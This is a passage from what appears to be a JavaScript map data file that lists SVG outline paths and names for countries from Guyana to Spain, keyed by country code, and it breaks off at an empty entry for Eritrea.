			path: "M277.42,270.07l-0.32,1.83l-1.32,0.57l-0.23,0.46l-0.28,2.0l1.11,1.82l0.83,0.19l0.32,1.25l1.13,1.62l-1.21,-0.19l-1.08,0.71l-1.77,0.5l-0.44,0.46l-0.86,-0.09l-1.32,-1.01l-0.77,-2.27l0.36,-1.9l0.68,-1.23l-0.57,-1.17l-0.74,-0.43l0.12,-1.16l-0.9,-0.69l-1.1,0.09l-1.31,-1.48l0.53,-0.72l-0.04,-0.84l1.99,-0.86l0.05,-0.59l-0.71,-0.78l0.14,-0.57l1.66,-1.24l1.36,0.77l1.41,1.49l0.06,1.15l0.37,0.38l0.8,0.05l2.06,1.86Z",
			name: "Guyana",
		},
		GE: {
			path: "M521.71,168.93l5.29,0.89l4.07,2.01l1.41,-0.44l2.07,0.56l0.68,1.1l1.07,0.55l-0.12,0.59l0.98,1.29l-1.01,-0.13l-1.81,-0.83l-0.94,0.47l-3.23,0.43l-2.29,-1.39l-2.33,0.05l0.21,-0.97l-0.76,-2.26l-1.45,-1.12l-1.43,-0.39l-0.41,-0.42Z",
			name: "Georgia",
		},
		GB: {
			path: "M412.61,118.72l-2.19,3.22l-0.0,0.45l5.13,-0.3l-0.53,2.37l-2.2,3.12l0.29,0.63l2.37,0.21l2.33,4.3l1.76,0.69l2.2,5.12l2.94,0.77l-0.23,1.62l-1.15,0.88l-0.1,0.52l0.82,1.42l-1.86,1.43l-3.3,-0.02l-4.12,0.87l-1.04,-0.58l-0.47,0.06l-1.51,1.41l-2.12,-0.34l-1.86,1.18l-0.6,-0.29l3.19,-3.0l2.16,-0.69l0.28,-0.41l-0.34,-0.36l-3.73,-0.53l-0.4,-0.76l2.2,-0.87l0.17,-0.61l-1.26,-1.67l0.36,-1.7l3.38,0.28l0.43,-0.33l0.37,-1.99l-1.79,-2.49l-3.11,-0.72l-0.38,-0.59l0.79,-1.35l-0.04,-0.46l-0.82,-0.97l-0.61,0.01l-0.68,0.84l-0.1,-2.34l-1.23,-1.88l0.85,-3.47l1.77,-2.68l1.85,0.26l2.17,-0.22ZM406.26,132.86l-1.01,1.77l-1.57,-0.59l-1.16,0.01l0.37,-1.54l-0.39,-1.39l1.45,-0.1l2.3,1.84Z",
			name: "United Kingdom",
		},
		GA: {
			path: "M453.24,279.52l-0.08,0.98l0.7,1.29l2.36,0.24l-0.98,2.63l1.18,1.79l0.25,1.78l-0.29,1.52l-0.6,0.93l-1.84,-0.09l-1.23,-1.11l-0.66,0.23l-0.15,0.84l-1.42,0.26l-1.02,0.7l-0.11,0.52l0.77,1.35l-1.34,0.97l-3.94,-4.3l-1.44,-2.45l0.06,-0.6l0.54,-0.81l1.05,-3.46l4.17,-0.07l0.4,-0.4l-0.02,-2.66l2.39,0.21l1.25,-0.27Z",
			name: "Gabon",
		},
		GN: {
			path: "M391.8,254.11l0.47,0.8l1.11,-0.32l0.98,0.7l1.07,0.2l2.26,-1.22l0.64,0.44l1.13,1.56l-0.48,1.4l0.8,0.3l-0.08,0.48l0.46,0.68l-0.35,1.36l1.05,2.61l-1.0,0.69l0.03,1.41l-0.72,-0.06l-1.08,1.0l-0.24,-0.27l0.07,-1.11l-1.05,-1.54l-1.79,0.21l-0.35,-2.01l-1.6,-2.18l-2.0,-0.0l-1.31,0.54l-1.95,2.18l-1.86,-2.19l-1.2,-0.78l-0.3,-1.11l-0.8,-0.85l0.65,-0.72l0.81,-0.03l1.64,-0.8l0.23,-1.87l2.67,0.64l0.89,-0.3l1.21,0.15Z",
			name: "Guinea",
		},
		GM: {
			path: "M379.31,251.39l0.1,-0.35l2.43,-0.07l0.74,-0.61l0.51,-0.03l0.77,0.49l-1.03,-0.3l-1.87,0.9l-1.65,-0.04ZM384.03,250.91l0.91,0.05l0.75,-0.24l-0.59,0.31l-1.08,-0.13Z",
			name: "Gambia",
		},
		GL: {
			path: "M353.02,1.2l14.69,4.67l-3.68,1.89l-22.97,0.86l-0.36,0.27l0.12,0.43l1.55,1.18l8.79,-0.66l7.48,2.07l4.86,-1.77l1.66,1.73l-2.53,3.19l-0.01,0.48l0.46,0.15l6.35,-2.2l12.06,-2.31l7.24,1.13l1.09,1.99l-9.79,4.01l-1.44,1.32l-7.87,0.98l-0.35,0.41l0.38,0.38l5.07,0.24l-2.53,3.58l-2.07,3.81l0.08,6.05l2.57,3.11l-3.22,0.2l-4.12,1.66l-0.05,0.72l4.45,2.65l0.51,3.75l-2.3,0.4l-0.25,0.64l2.79,3.69l-4.82,0.31l-0.36,0.29l0.16,0.44l2.62,1.8l-0.59,1.22l-3.3,0.7l-3.45,0.01l-0.29,0.68l3.03,3.12l0.02,1.34l-4.4,-1.73l-1.72,1.35l0.15,0.66l3.31,1.15l3.13,2.71l0.81,3.16l-3.85,0.75l-4.89,-4.26l-0.47,-0.03l-0.17,0.44l0.79,2.86l-2.71,2.21l-0.13,0.44l0.37,0.27l8.73,0.34l-12.32,6.64l-7.24,1.48l-2.94,0.08l-2.69,1.75l-3.43,4.41l-5.24,2.84l-1.73,0.18l-7.12,2.1l-2.15,2.52l-0.13,2.99l-1.19,2.45l-4.01,3.09l-0.14,0.44l0.97,2.9l-2.28,6.48l-3.1,0.2l-3.83,-3.07l-4.86,-0.02l-2.25,-1.93l-1.7,-3.79l-4.3,-4.84l-1.21,-2.49l-0.44,-3.8l-3.32,-3.63l0.84,-2.86l-1.56,-1.7l2.28,-4.6l3.83,-1.74l1.03,-1.96l0.52,-3.47l-0.59,-0.41l-4.17,2.21l-2.07,0.58l-2.72,-1.28l-0.15,-2.71l0.85,-2.09l2.01,-0.06l5.06,1.2l0.46,-0.23l-0.14,-0.49l-6.54,-4.47l-2.67,0.55l-1.58,-0.86l2.56,-4.01l-0.03,-0.48l-1.5,-1.74l-4.98,-8.5l-3.13,-1.96l0.03,-1.88l-0.24,-0.37l-6.85,-3.02l-5.36,-0.38l-12.7,0.58l-2.78,-1.57l-3.66,-2.77l5.73,-1.45l5.0,-0.28l0.38,-0.38l-0.35,-0.41l-10.67,-1.38l-5.3,-2.06l0.25,-1.54l18.41,-5.26l1.22,-2.27l-0.25,-0.55l-6.14,-1.86l1.68,-1.77l8.55,-4.03l3.59,-0.63l0.3,-0.54l-0.88,-2.27l5.47,-1.47l7.65,-0.95l7.55,-0.05l3.04,1.85l6.48,-3.27l5.81,2.22l3.56,0.5l5.16,1.94l0.5,-0.21l-0.17,-0.52l-5.71,-3.13l0.28,-2.13l8.12,-3.6l8.7,0.28l3.35,-2.34l8.71,-0.6l19.93,0.8Z",
			name: "Greenland",
		},
		GH: {
			path: "M420.53,257.51l-0.01,0.72l0.96,1.2l0.24,3.73l0.59,0.95l-0.51,2.1l0.19,1.41l1.02,2.21l-6.97,2.84l-1.8,-0.57l0.04,-0.89l-1.02,-2.04l0.61,-2.65l1.07,-2.32l-0.96,-6.47l5.01,0.07l0.94,-0.39l0.61,0.11Z",
			name: "Ghana",
		},
		OM: {
			path: "M568.09,230.93l-0.91,1.67l-1.22,0.04l-0.6,0.76l-0.41,1.51l0.27,1.58l-1.16,0.05l-1.56,0.97l-0.76,1.74l-1.62,0.05l-0.98,0.65l-0.17,1.15l-0.89,0.52l-1.49,-0.18l-2.4,0.94l-2.47,-5.4l7.35,-2.71l1.67,-5.23l-1.12,-2.09l0.05,-0.83l0.67,-1.0l0.07,-1.05l0.9,-0.42l-0.05,-2.07l0.7,-0.01l1.0,1.62l1.51,1.08l3.3,0.84l1.73,2.29l0.81,0.37l-1.23,2.35l-0.99,0.79Z",
			name: "Oman",
		},
		TN: {
			path: "M448.1,188.24l-1.0,1.27l-0.02,1.32l0.84,0.88l-0.28,2.09l-1.53,1.32l-0.12,0.42l0.48,1.54l1.42,0.32l0.53,1.11l0.9,0.52l-0.11,1.67l-3.54,2.64l-0.1,2.38l-0.58,0.3l-0.96,-4.45l-1.54,-1.25l-0.16,-0.78l-1.92,-1.56l-0.18,-1.76l1.51,-1.62l0.59,-2.34l-0.38,-2.78l0.42,-1.21l2.45,-1.05l1.29,0.26l-0.06,1.11l0.58,0.38l1.47,-0.73Z",
			name: "Tunisia",
		},
		JO: {
			path: "M518.64,201.38l-5.14,1.56l-0.19,0.65l2.16,2.39l-0.89,1.14l-1.71,0.34l-1.71,1.8l-2.34,-0.37l1.21,-4.32l0.56,-4.07l2.8,0.94l4.46,-2.71l0.79,2.66Z",
			name: "Jordan",
		},
		HR: {
			path: "M455.59,162.84l1.09,0.07l-0.82,0.94l-0.27,-1.01ZM456.96,162.92l0.62,-0.41l1.73,0.45l0.42,-0.4l-0.01,-0.59l0.86,-0.52l0.2,-1.05l1.63,-0.68l2.57,1.68l2.07,0.6l0.87,-0.31l1.05,1.57l-0.52,0.63l-1.05,-0.56l-1.68,0.04l-2.1,-0.5l-1.29,0.06l-0.57,0.49l-0.59,-0.47l-0.62,0.16l-0.46,1.7l1.79,2.42l2.79,2.75l-1.18,-0.87l-2.21,-0.87l-1.67,-1.78l0.13,-0.63l-1.05,-1.19l-0.32,-1.27l-1.42,-0.43Z",
			name: "Croatia",
		},
		HT: {
			path: "M237.05,238.38l-1.16,0.43l-0.91,-0.55l0.05,-0.2l2.02,0.31ZM237.53,238.43l1.06,0.12l-0.05,0.01l-1.01,-0.12ZM239.25,238.45l0.79,-0.51l0.06,-0.62l-1.02,-1.0l0.02,-0.82l-0.3,-0.4l-0.93,-0.32l3.16,0.45l0.02,1.84l-0.48,0.34l-0.08,0.58l0.54,0.72l-1.78,-0.26Z",
			name: "Haiti",
		},
		HU: {
			path: "M462.08,157.89l0.65,-1.59l-0.09,-0.44l0.64,-0.0l0.39,-0.34l0.1,-0.69l1.75,0.87l2.32,-0.37l0.43,-0.66l3.49,-0.78l0.69,-0.78l0.57,-0.14l2.57,0.93l0.67,-0.23l1.03,0.65l0.08,0.37l-1.42,0.71l-2.59,4.14l-1.8,0.53l-1.68,-0.1l-2.74,1.23l-1.85,-0.54l-2.54,-1.66l-0.66,-1.1Z",
			name: "Hungary",
		},
		HN: {
			path: "M199.6,249.52l-1.7,-1.21l0.06,-0.94l3.04,-2.14l2.37,0.28l1.27,-0.09l1.1,-0.52l1.3,0.28l1.14,-0.25l1.38,0.37l2.23,1.37l-2.36,0.93l-1.23,-0.39l-0.88,1.3l-1.28,0.99l-0.98,-0.22l-0.42,0.52l-0.96,0.05l-0.36,0.41l0.04,0.88l-0.52,0.6l-0.3,0.04l-0.3,-0.55l-0.66,-0.31l0.11,-0.67l-0.48,-0.65l-0.87,-0.26l-0.73,0.2Z",
			name: "Honduras",
		},
		PR: {
			path: "M256.17,238.73l-0.26,0.27l-2.83,0.05l-0.07,-0.55l1.95,-0.1l1.22,0.33Z",
			name: "Puerto Rico",
		},
		PS: {
			path: "M509.21,203.07l0.1,-0.06l-0.02,0.03l-0.09,0.03ZM509.36,202.91l-0.02,-0.63l-0.33,-0.16l0.31,-1.09l0.24,0.1l-0.2,1.78Z",
			name: "Palestine",
		},
		PT: {
			path: "M401.84,187.38l-0.64,0.47l-1.13,-0.35l-0.91,0.17l0.28,-1.78l-0.24,-1.78l-1.25,-0.56l-0.45,-0.84l0.17,-1.66l1.01,-1.18l0.69,-2.92l-0.04,-1.39l-0.59,-1.9l1.3,-0.85l0.84,1.35l3.1,-0.3l0.46,0.99l-1.05,0.94l-0.03,2.16l-0.41,0.57l-0.08,1.1l-0.79,0.18l-0.26,0.59l0.91,1.6l-0.63,1.75l0.76,1.09l-1.1,1.52l0.07,1.05Z",
			name: "Portugal",
		},
		PY: {
			path: "M274.9,336.12l0.74,1.52l-0.16,3.45l0.32,0.41l2.64,0.5l1.11,-0.47l1.4,0.59l0.36,0.6l0.53,3.42l1.27,0.4l0.98,-0.38l0.51,0.27l-0.0,1.18l-1.21,5.32l-2.09,1.9l-1.8,0.4l-4.71,-0.98l2.2,-3.63l-0.32,-1.5l-2.78,-1.28l-3.03,-1.94l-2.07,-0.44l-4.34,-4.06l0.91,-2.9l0.08,-1.42l1.07,-2.04l4.13,-0.72l2.18,0.03l2.05,1.17l0.03,0.59Z",
			name: "Paraguay",
		},
		PA: {
			path: "M213.8,263.68l0.26,-1.52l-0.36,-0.26l-0.01,-0.49l0.44,-0.1l0.93,1.4l1.26,0.03l0.77,0.49l1.38,-0.23l2.51,-1.11l0.86,-0.72l3.45,0.85l1.4,1.18l0.41,1.74l-0.21,0.34l-0.53,-0.12l-0.47,0.29l-0.16,0.6l-0.68,-1.28l0.45,-0.49l-0.19,-0.66l-0.47,-0.13l-0.54,-0.84l-1.5,-0.75l-1.1,0.16l-0.75,0.99l-1.62,0.84l-0.18,0.96l0.85,0.97l-0.58,0.45l-0.69,0.08l-0.34,-1.18l-1.27,0.03l-0.71,-1.05l-2.59,-0.46Z",
			name: "Panama",
		},
		PG: {
			path: "M808.58,298.86l2.54,2.56l-0.13,0.26l-0.33,0.12l-0.87,-0.78l-1.22,-2.16ZM801.41,293.04l0.5,0.29l0.26,0.27l-0.49,-0.35l-0.27,-0.21ZM803.17,294.58l0.59,0.5l0.08,1.06l-0.29,-0.91l-0.38,-0.65ZM796.68,298.41l0.52,0.75l1.43,-0.19l2.27,-1.81l-0.01,-1.43l1.12,0.16l-0.04,1.1l-0.7,1.28l-1.12,0.18l-0.62,0.79l-2.46,1.11l-1.17,-0.0l-3.08,-1.25l3.41,0.0l0.45,-0.68ZM789.15,303.55l2.31,1.8l1.59,2.61l1.34,0.13l-0.06,0.66l0.31,0.43l1.06,0.24l0.06,0.65l2.25,1.05l-1.22,0.13l-0.72,-0.63l-4.56,-0.65l-3.22,-2.87l-1.49,-2.34l-3.27,-1.1l-2.38,0.72l-1.59,0.86l-0.2,0.42l0.27,1.55l-1.55,0.68l-1.36,-0.4l-2.21,-0.09l-0.08,-15.41l8.39,2.93l2.95,2.4l0.6,1.64l4.02,1.49l0.31,0.68l-1.76,0.21l-0.33,0.52l0.55,1.68Z",
			name: "Papua New Guinea",
		},
		PE: {
			path: "M244.96,295.21l-1.26,-0.07l-0.57,0.42l-1.93,0.45l-2.98,1.75l-0.36,1.36l-0.58,0.8l0.12,1.37l-1.24,0.59l-0.22,1.22l-0.62,0.84l1.04,2.27l1.28,1.44l-0.41,0.84l0.32,0.57l1.48,0.13l1.16,1.37l2.21,0.07l1.63,-1.08l-0.13,3.02l0.3,0.4l1.14,0.29l1.31,-0.34l1.9,3.59l-0.48,0.85l-0.17,3.85l-0.94,1.59l0.35,0.75l-0.47,1.07l0.98,1.97l-2.1,3.82l-0.98,0.5l-2.17,-1.28l-0.39,-1.16l-4.95,-2.58l-4.46,-2.79l-1.84,-1.51l-0.91,-1.84l0.3,-0.96l-2.11,-3.33l-4.82,-9.68l-1.04,-1.2l-0.87,-1.94l-3.4,-2.48l0.58,-1.18l-1.13,-2.23l0.66,-1.49l1.45,-1.15l-0.6,0.98l0.07,0.92l0.47,0.36l1.74,0.03l0.97,1.17l0.54,0.07l1.42,-1.03l0.6,-1.84l1.42,-2.02l3.04,-1.04l2.73,-2.62l0.86,-1.74l-0.1,-1.87l1.44,1.02l0.9,1.25l1.06,0.59l1.7,2.73l1.86,0.31l1.45,-0.61l0.96,0.39l1.36,-0.19l1.45,0.89l-1.4,2.21l0.31,0.61l0.59,0.05l0.47,0.5Z",
			name: "Peru",
		},
		PK: {
			path: "M615.09,192.34l-1.83,1.81l-2.6,0.39l-3.73,-0.68l-1.58,1.33l-0.09,0.42l1.77,4.39l1.7,1.23l-1.69,1.27l-0.12,2.14l-2.33,2.64l-1.6,2.8l-2.46,2.67l-3.03,-0.07l-2.76,2.83l0.05,0.6l1.5,1.11l0.26,1.9l1.44,1.5l0.37,1.68l-5.01,-0.01l-1.78,1.7l-1.42,-0.52l-0.76,-1.87l-2.27,-2.15l-11.61,0.86l0.71,-2.34l3.43,-1.32l0.25,-0.44l-0.21,-1.24l-1.2,-0.65l-0.28,-2.46l-2.29,-1.14l-1.28,-1.94l2.82,0.94l2.62,-0.38l1.42,0.33l0.76,-0.56l1.71,0.19l3.25,-1.14l0.27,-0.36l0.08,-2.19l1.18,-1.32l1.68,0.0l0.58,-0.82l1.6,-0.3l1.19,0.16l0.98,-0.78l0.02,-1.88l0.93,-1.47l1.48,-0.66l0.19,-0.55l-0.66,-1.25l2.04,-0.11l0.69,-1.01l-0.02,-1.16l1.11,-1.06l-0.17,-1.78l-0.49,-1.03l1.15,-0.98l5.42,-0.91l2.6,-0.82l1.6,1.16l0.97,2.34l3.45,0.97Z",
			name: "Pakistan",
		},
		PH: {
			path: "M737.01,263.84l0.39,2.97l-0.44,1.18l-0.55,-1.53l-0.67,-0.14l-1.17,1.28l0.65,2.09l-0.42,0.69l-2.48,-1.23l-0.57,-1.49l0.65,-1.03l-0.1,-0.54l-1.59,-1.19l-0.56,0.08l-0.65,0.87l-1.23,0.0l-1.58,0.97l0.83,-1.8l2.56,-1.42l0.65,0.84l0.45,0.13l1.9,-0.69l0.56,-1.11l1.5,-0.06l0.38,-0.43l-0.09,-1.19l1.21,0.71l0.36,2.02ZM733.59,256.58l0.05,0.75l0.08,0.26l-0.8,-0.42l-0.18,-0.71l0.85,0.12ZM734.08,256.1l-0.12,-1.12l-1.0,-1.27l1.36,0.03l0.53,0.73l0.51,2.04l-1.27,-0.4ZM733.76,257.68l0.38,0.98l-0.32,0.15l-0.07,-1.13ZM724.65,238.43l1.46,0.7l0.72,-0.31l-0.32,1.17l0.79,1.71l-0.57,1.84l-1.53,1.04l-0.39,2.25l0.56,2.04l1.63,0.57l1.16,-0.27l2.71,1.23l-0.19,1.08l0.76,0.84l-0.08,0.36l-1.4,-0.9l-0.88,-1.27l-0.66,0.0l-0.38,0.55l-1.6,-1.31l-2.15,0.36l-0.87,-0.39l0.07,-0.61l0.66,-0.55l-0.01,-0.62l-0.75,-0.59l-0.72,0.44l-0.74,-0.87l-0.39,-2.49l0.32,0.27l0.66,-0.28l0.26,-3.97l0.7,-2.02l1.14,0.0ZM731.03,258.87l-0.88,0.85l-1.19,1.94l-1.05,-1.19l0.93,-1.1l0.32,-1.47l0.52,-0.06l-0.27,1.15l0.22,0.45l0.49,-0.12l1.0,-1.32l-0.08,0.85ZM726.83,255.78l0.83,0.38l1.17,-0.0l-0.02,0.48l-2.0,1.4l0.03,-2.26ZM724.81,252.09l-0.38,1.27l-1.42,-1.95l1.2,0.05l0.6,0.63ZM716.55,261.82l1.1,-0.95l0.03,-0.03l-0.28,0.36l-0.85,0.61ZM719.22,259.06l0.04,-0.06l0.8,-1.53l0.16,0.75l-1.0,0.84Z",
			name: "Philippines",
		},
		PL: {
			path: "M468.44,149.42l-1.11,-1.54l-1.86,-0.33l-0.48,-1.05l-1.72,-0.37l-0.65,0.69l-0.72,-0.36l0.11,-0.61l-0.33,-0.46l-1.75,-0.27l-1.04,-0.93l-0.94,-1.94l0.16,-1.22l-0.62,-1.8l-0.78,-1.07l0.57,-1.04l-0.48,-1.43l1.41,-0.83l6.91,-2.71l2.14,0.5l0.52,0.91l5.51,0.44l4.55,-0.05l1.07,0.31l0.48,0.84l0.15,1.58l0.65,1.2l-0.01,0.99l-1.27,0.58l-0.19,0.54l0.73,1.48l0.08,1.55l1.2,2.76l-0.17,0.58l-1.23,0.44l-2.27,2.72l0.18,0.95l-1.97,-1.03l-1.98,0.4l-1.36,-0.28l-1.24,0.58l-1.07,-0.97l-1.16,0.24Z",
			name: "Poland",
		},
		"-99": {
			path: "M531.15,258.94l1.51,0.12l5.13,-0.95l5.3,-1.48l-0.01,4.4l-2.67,3.39l-1.85,0.01l-8.04,-2.94l-2.55,-3.17l1.12,-1.71l2.04,2.34Z",
			name: "Somaliland",
		},
		ZM: {
			path: "M481.47,313.3l0.39,0.31l2.52,0.14l0.99,1.17l2.01,0.35l1.4,-0.64l0.69,1.17l1.78,0.33l1.84,2.35l2.23,0.18l0.4,-0.43l-0.21,-2.74l-0.62,-0.3l-0.48,0.32l-1.98,-1.17l0.72,-5.29l-0.51,-1.18l0.57,-1.3l3.68,-0.62l0.26,0.63l1.21,0.63l0.9,-0.22l2.16,0.67l1.33,0.71l1.07,1.02l0.56,1.87l-0.88,2.7l0.43,2.09l-0.73,0.87l-0.76,2.37l0.59,0.68l-6.6,1.83l-0.29,0.44l0.19,1.45l-1.68,0.35l-1.43,1.02l-0.38,0.87l-0.87,0.26l-3.48,3.69l-4.16,-0.53l-1.52,-1.0l-1.77,-0.13l-1.83,0.52l-3.04,-3.4l0.11,-7.59l4.82,0.03l0.39,-0.49l-0.18,-0.76l0.33,-0.83l-0.4,-1.36l0.24,-1.05Z",
			name: "Zambia",
		},
		EH: {
			path: "M384.42,230.28l0.25,-0.79l1.06,-1.29l0.8,-3.51l3.38,-2.78l0.7,-1.81l0.06,4.84l-1.98,0.2l-0.94,1.59l0.39,3.56l-3.7,-0.01ZM392.01,218.1l0.7,-1.8l1.77,-0.24l2.09,0.34l0.95,-0.62l1.28,-0.07l-0.0,2.51l-6.79,-0.12Z",
			name: "W. Sahara",
		},
		EE: {
			path: "M485.71,115.04l2.64,0.6l2.56,0.11l-1.6,1.91l0.61,3.54l-0.81,0.87l-1.78,-0.01l-3.22,-1.76l-1.8,0.45l0.21,-1.53l-0.58,-0.41l-0.69,0.34l-1.26,-1.03l-0.17,-1.63l2.83,-0.92l3.05,-0.52Z",
			name: "Estonia",
		},
		EG: {
			path: "M492.06,205.03l1.46,0.42l2.95,-1.64l2.04,-0.21l1.53,0.3l0.59,1.19l0.69,0.04l0.41,-0.64l1.81,0.58l1.95,0.16l1.04,-0.51l1.42,4.08l-2.03,4.54l-1.66,-1.77l-1.76,-3.85l-0.64,-0.12l-0.36,0.67l1.04,2.88l3.44,6.95l1.78,3.04l2.03,2.65l-0.36,0.53l0.23,2.01l2.7,2.19l-28.41,0.0l0.0,-18.96l-0.73,-2.2l0.59,-1.56l-0.32,-1.26l0.68,-0.99l3.06,-0.04l4.82,1.52Z",
			name: "Egypt",
		},
		ZA: {
			path: "M467.14,373.21l-0.13,-1.96l-0.68,-1.56l0.7,-0.68l-0.13,-2.33l-4.56,-8.19l0.77,-0.86l0.6,0.45l0.69,1.31l2.83,0.72l1.5,-0.26l2.24,-1.39l0.19,-9.55l1.35,2.3l-0.21,1.5l0.61,1.2l0.4,0.19l1.79,-0.27l2.6,-2.07l0.69,-1.32l0.96,-0.48l2.19,1.04l2.04,0.13l1.77,-0.65l0.85,-2.12l1.38,-0.33l1.59,-2.76l2.15,-1.89l3.41,-1.87l2.0,0.45l1.02,-0.28l0.99,0.2l1.75,5.29l-0.38,3.25l-0.81,-0.23l-1.0,0.46l-0.87,1.68l-0.05,1.16l1.97,1.84l1.47,-0.29l0.69,-1.18l1.09,0.01l-0.76,3.69l-0.58,1.09l-2.2,1.79l-3.17,4.76l-2.8,2.83l-3.57,2.88l-2.53,1.05l-1.22,0.14l-0.51,0.7l-1.18,-0.32l-1.39,0.5l-2.59,-0.52l-1.61,0.33l-1.18,-0.11l-2.55,1.1l-2.1,0.44l-1.6,1.07l-0.85,0.05l-0.93,-0.89l-0.93,-0.15l-0.97,-1.13l-0.25,0.05ZM491.45,364.19l0.62,-0.93l1.48,-0.59l1.18,-2.19l-0.07,-0.49l-1.99,-1.69l-1.66,0.56l-1.43,1.14l-1.34,1.73l0.02,0.51l1.88,2.11l1.31,-0.16Z",
			name: "South Africa",
		},
		EC: {
			path: "M231.86,285.53l0.29,1.59l-0.69,1.45l-2.61,2.51l-3.13,1.11l-1.53,2.18l-0.49,1.68l-1.0,0.73l-1.02,-1.11l-1.78,-0.16l0.67,-1.15l-0.24,-0.86l1.25,-2.13l-0.54,-1.09l-0.67,-0.08l-0.72,0.87l-0.87,-0.64l0.35,-0.69l-0.36,-1.96l0.81,-0.51l0.45,-1.51l0.92,-1.57l-0.07,-0.97l2.65,-1.33l2.75,1.35l0.77,1.05l2.12,0.35l0.76,-0.32l1.96,1.21Z",
			name: "Ecuador",
		},
		IT: {
			path: "M451.59,158.63l3.48,0.94l-0.21,1.17l0.3,0.83l-1.49,-0.24l-2.04,1.1l-0.21,0.39l0.13,1.45l-0.25,1.12l0.82,1.57l2.39,1.63l1.31,2.54l2.79,2.43l2.05,0.08l0.21,0.23l-0.39,0.33l0.09,0.67l4.05,1.97l2.17,1.76l-0.16,0.36l-1.17,-1.08l-2.18,-0.49l-0.44,0.2l-1.05,1.91l0.14,0.54l1.57,0.95l-0.19,0.98l-1.06,0.33l-1.25,2.34l-0.37,0.08l0.0,-0.33l1.0,-2.45l-1.73,-3.17l-1.12,-0.51l-0.88,-1.33l-1.51,-0.51l-1.27,-1.25l-1.75,-0.18l-4.12,-3.21l-1.62,-1.65l-1.03,-3.19l-3.53,-1.36l-1.3,0.51l-1.69,1.41l0.16,-0.72l-0.28,-0.47l-1.14,-0.33l-0.53,-1.96l0.72,-0.78l0.04,-0.48l-0.65,-1.17l0.8,0.39l1.4,-0.23l1.11,-0.84l0.52,0.35l1.19,-0.1l0.75,-1.2l1.53,0.33l1.36,-0.56l0.35,-1.14l1.08,0.32l0.68,-0.64l1.98,-0.44l0.42,0.82ZM459.19,184.75l-0.65,1.65l0.32,1.05l-0.31,0.89l-1.5,-0.85l-4.5,-1.67l0.19,-0.82l2.67,0.23l3.78,-0.48ZM443.93,176.05l1.18,1.66l-0.3,3.32l-1.06,-0.01l-0.77,0.73l-0.53,-0.44l-0.1,-3.37l-0.39,-1.22l1.04,0.01l0.92,-0.68Z",
			name: "Italy",
		},
		VN: {
			path: "M690.56,230.25l-2.7,1.82l-2.09,2.46l-0.63,1.95l4.31,6.45l2.32,1.65l1.43,1.94l1.11,4.59l-0.32,4.24l-1.93,1.54l-2.84,1.61l-2.11,2.15l-2.73,2.06l-0.59,-1.05l0.63,-1.53l-0.13,-0.47l-1.34,-1.04l1.51,-0.71l2.55,-0.18l0.3,-0.63l-0.82,-1.14l4.0,-2.07l0.31,-3.05l-0.57,-1.77l0.42,-2.66l-0.73,-1.97l-1.86,-1.76l-3.63,-5.29l-2.72,-1.46l0.36,-0.47l1.5,-0.64l0.21,-0.52l-0.97,-2.27l-0.37,-0.24l-2.83,-0.02l-2.24,-3.9l0.83,-0.4l4.39,-0.29l2.06,-1.31l1.15,0.89l1.88,0.4l-0.17,1.51l1.35,1.16l1.67,0.45Z",
			name: "Vietnam",
		},
		SB: {
			path: "M826.69,311.6l-0.61,0.09l-0.2,-0.33l0.37,0.15l0.44,0.09ZM824.18,307.38l-0.26,-0.3l-0.31,-0.91l0.03,0.0l0.54,1.21ZM823.04,309.33l-1.66,-0.22l-0.2,-0.52l1.16,0.28l0.69,0.46ZM819.28,304.68l1.14,0.65l0.02,0.03l-0.81,-0.44l-0.35,-0.23Z",
			name: "Solomon Is.",
		},
		ET: {
			path: "M516.04,247.79l1.1,0.84l1.63,-0.45l0.68,0.47l1.63,0.03l2.01,0.94l1.73,1.66l1.64,2.07l-1.52,2.04l0.16,1.72l0.39,0.38l2.05,0.0l-0.36,1.03l2.86,3.58l8.32,3.08l1.31,0.02l-6.32,6.75l-3.1,0.11l-2.36,1.77l-1.47,0.04l-0.86,0.79l-1.38,-0.0l-1.32,-0.81l-2.29,1.05l-0.76,0.98l-3.29,-0.41l-3.07,-2.07l-1.8,-0.07l-0.62,-0.6l0.0,-1.24l-0.28,-0.38l-1.15,-0.37l-1.4,-2.59l-1.19,-0.68l-0.47,-1.0l-1.27,-1.23l-1.16,-0.22l0.43,-0.72l1.45,-0.28l0.41,-0.95l-0.03,-2.21l0.68,-2.44l1.05,-0.63l1.43,-3.06l1.57,-1.37l1.02,-2.51l0.35,-1.88l2.52,0.46l0.44,-0.24l0.58,-1.43Z",
			name: "Ethiopia",
		},
		SO: {
			path: "M525.13,288.48l-1.13,-1.57l-0.03,-8.86l2.66,-3.38l1.67,-0.13l2.13,-1.69l3.41,-0.23l7.08,-7.55l2.91,-3.69l0.08,-4.82l2.98,-0.67l1.24,-0.86l0.45,-0.0l-0.2,3.0l-1.21,3.62l-2.73,5.97l-2.13,3.65l-5.03,6.16l-8.56,6.4l-2.78,3.08l-0.8,1.56Z",
			name: "Somalia",
		},
		ZW: {
			path: "M498.91,341.09l-1.11,-0.22l-0.92,0.28l-2.09,-0.44l-1.5,-1.11l-1.89,-0.43l-0.62,-1.4l-0.01,-0.84l-0.3,-0.38l-0.97,-0.25l-2.71,-2.74l-1.92,-3.32l3.83,0.45l3.73,-3.82l1.08,-0.44l0.26,-0.77l1.25,-0.9l1.41,-0.26l0.5,0.89l1.99,-0.05l1.72,1.17l1.11,0.17l1.05,0.66l0.01,2.99l-0.59,3.76l0.38,0.86l-0.23,1.23l-0.39,0.35l-0.63,1.81l-2.43,2.75Z",
			name: "Zimbabwe",
		},
		ES: {
			path: "M416.0,169.21l1.07,1.17l4.61,1.38l1.06,-0.57l2.6,1.26l2.71,-0.3l0.09,1.12l-2.14,1.8l-3.11,0.61l-0.31,0.31l-0.2,0.89l-1.54,1.69l-0.97,2.4l0.84,1.74l-1.32,1.27l-0.48,1.68l-1.88,0.65l-1.66,2.07l-5.36,-0.01l-1.79,1.08l-0.89,0.98l-0.88,-0.17l-0.79,-0.82l-0.68,-1.59l-2.37,-0.63l-0.11,-0.5l1.21,-1.82l-0.77,-1.13l0.61,-1.68l-0.76,-1.62l0.87,-0.49l0.09,-1.25l0.42,-0.6l0.03,-2.11l0.99,-0.69l0.13,-0.5l-1.03,-1.73l-1.46,-0.11l-0.61,0.38l-1.06,0.0l-0.52,-1.23l-0.53,-0.21l-1.32,0.67l-0.01,-1.49l-0.75,-0.96l3.03,-1.88l2.99,0.53l3.32,-0.02l2.63,0.51l6.01,-0.06Z",
			name: "Spain",
		},
		ER: {
